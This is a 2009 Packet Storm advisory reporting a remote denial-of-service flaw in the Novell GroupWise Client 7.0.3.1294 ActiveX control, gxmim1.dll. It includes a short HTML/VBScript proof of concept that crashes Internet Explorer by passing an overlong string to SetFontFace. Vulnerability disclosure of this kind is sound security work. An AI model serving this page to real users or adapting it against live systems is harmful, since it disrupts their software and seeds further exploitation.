Novell Groupwise Client 7.0.3.1294 Denial Of Service

2009-09-16T00:00:00
ID PACKETSTORM:81354
Type packetstorm
Reporter Francis Provencher
Modified 2009-09-16T00:00:00

Description

                                        
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Application: Novell Groupwise Client 7.0.3.1294  
  
Platforms: Windows XP Professional French SP2 and SP3  
  
crash: IE 6.0.2900.2180  
  
Exploitation: remote DoS  
  
Date: 2009-08-24  
  
Author: Francis Provencher (Protek Research Lab's)  
  
  
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1) Introduction  
2) Technical details and bug  
3) The Code  
  
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===============  
1) Introduction  
===============  
  
GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.  
  
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============================  
2) Technical details   
============================  
  
Name: gxmim1.dll  
Ver.: 7.0.3.1294  
CLSID: {9796BED2-C1CF-11D2-9384-0008C7396667}  
  
  
  
  
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===========  
3) The Code  
===========  
  
Proof of concept DoS code;  
  
  
<html>  
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>  
  
  
<script language='vbscript'>  
  
  
  
  
argCount = 1  
  
  
arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  
  
GWComposeCtl.SetFontFace arg1  
  
</script>  
  
  
  
  
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